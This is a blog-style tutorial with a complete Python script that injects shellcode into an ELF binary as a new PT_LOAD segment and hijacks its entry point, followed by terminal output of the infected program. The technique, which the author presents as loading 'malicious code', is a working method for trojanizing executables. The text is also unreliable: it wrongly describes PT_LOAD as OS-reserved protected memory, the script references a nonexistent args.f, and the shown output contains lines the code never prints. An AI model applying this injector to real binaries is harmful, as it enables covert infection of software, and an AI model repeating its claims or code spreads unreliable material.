PT_LOAD Injection with Python
PT_LOAD Injection is a technique used to inject malicious code into a computer system. This is done by storing the code in a special type of memory called “protected memory” or “PT_LOAD memory,” which is typically reserved for the operating system and is not accessible to user programs or applications. The injected code is executed by tricking the operating system into thinking it is a legitimate part of the system.
In terms of the ELF (Executable and Linkable Format) structure, PT_LOAD Injection typically involves modifying the ELF header to include the injected code as a new PT_LOAD segment. This segment is then executed as part of the normal program execution process. By modifying the ELF header in this way, the injected code can be executed without raising any red flags or triggering security measures.
In Oracle Docs, PT_LOAD described like this:
PT_LOAD
Specifies a loadable segment, described by p_filesz and p_memsz. The bytes from the file are mapped to the beginning of the memory segment. If the segment’s memory size (p_memsz) is larger than the file size (p_filesz), the extra bytes are defined to hold the value 0 and to follow the segment’s initialized area. The file size can not be larger than the memory size. Loadable segment entries in the program header table appear in ascending order, sorted on the p_vaddr member.
Here is our injector we create a new PT_LOAD segment and patch the target file with new PT_LOAD segment. While patching the binary with our PT_LOAD segment we should add the old entrypoint to end of our malicious code. With adding old entrypoint, we will not affect the orijinal process but load our malicious code.
Steps
-
lief helps us while parsing binary with very simple function: lief.parse()
binary = lief.parse(args.f)
- crate a payload and convert it to assembly code with pwn lib’s asm() function, assing it to malcode
-
add the old entrypoint to the end of malicious code
payload = "Everybody looks here\n" malcode = asm("mov esi, edx") malcode += asm(shellcraft.i386.write(1, payload, len(payload))) malcode += asm(f""" mov edx, esi push {hex(binary.header.entrypoint)} ret """)
-
create a new segment with lief’s ELF.Segment() function and load the malcode
segment = lief.ELF.Segment() segment.type = lief.ELF.SEGMENT_TYPES.LOAD segment.flags = lief.ELF.SEGMENT_FLAGS.X segment.content = bytearray(malcode) segment.alignment = 0x9876
-
add this new segment to binary
binary.add(segment)
-
traverse in binary segments and find our segment and set binary’s header.enrtypoint to our segment’s virtual address
for segment in binary.segments: if segment.type == lief.ELF.SEGMENT_TYPES.LOAD and segment.alignment == 0x9876: binary.header.entrypoint = segment.virtual_address break
Full code:
import lief
from pwn import *
import argparse
def main():
parser = argparse.ArgumentParser(description='PT_LOAD Injection PoC', conflict_handler='resolve')
parser.add_argument('-file','--file', help="Target file", required = True)
parser.add_argument('-out','--out', help="Output file")
args = parser.parse_args()
if len(sys.argv) < 2:
args.print_help()
exit(0)
try:
binary = lief.parse(args.f)
payload = "Everybody looks here\n"
malcode = asm("mov esi, edx")
malcode += asm(shellcraft.i386.write(1, payload, len(payload)))
malcode += asm(f"""
mov edx, esi
push {hex(binary.header.entrypoint)}
ret
""")
segment = lief.ELF.Segment()
segment.type = lief.ELF.SEGMENT_TYPES.LOAD
segment.flags = lief.ELF.SEGMENT_FLAGS.X
segment.content = bytearray(malcode)
segment.alignment = 0x9876
binary.add(segment)
for segment in binary.segments:
if segment.type == lief.ELF.SEGMENT_TYPES.LOAD and segment.alignment == 0x9876:
binary.header.entrypoint = segment.virtual_address
break
print("-> New EntryPoint: ", hex(binary.header.entrypoint))
if args.out:
binary.write(args.out)
else:
binary.write(args.file + "_edited")
except:
print("error occurred")
if __name__ == "__main__":
main()
Output:
$ ./hello_world
Hello World!
$ python3 PT_LOAD_inj.py --file ./hello_world
Shellcode size: 53
-> New PT_LOAD segment added succesfully
$ chmod +x hello_world_edited
$ ./hello_world_edited
Everybody looks here!
Hello World!
Source code will be in my repo.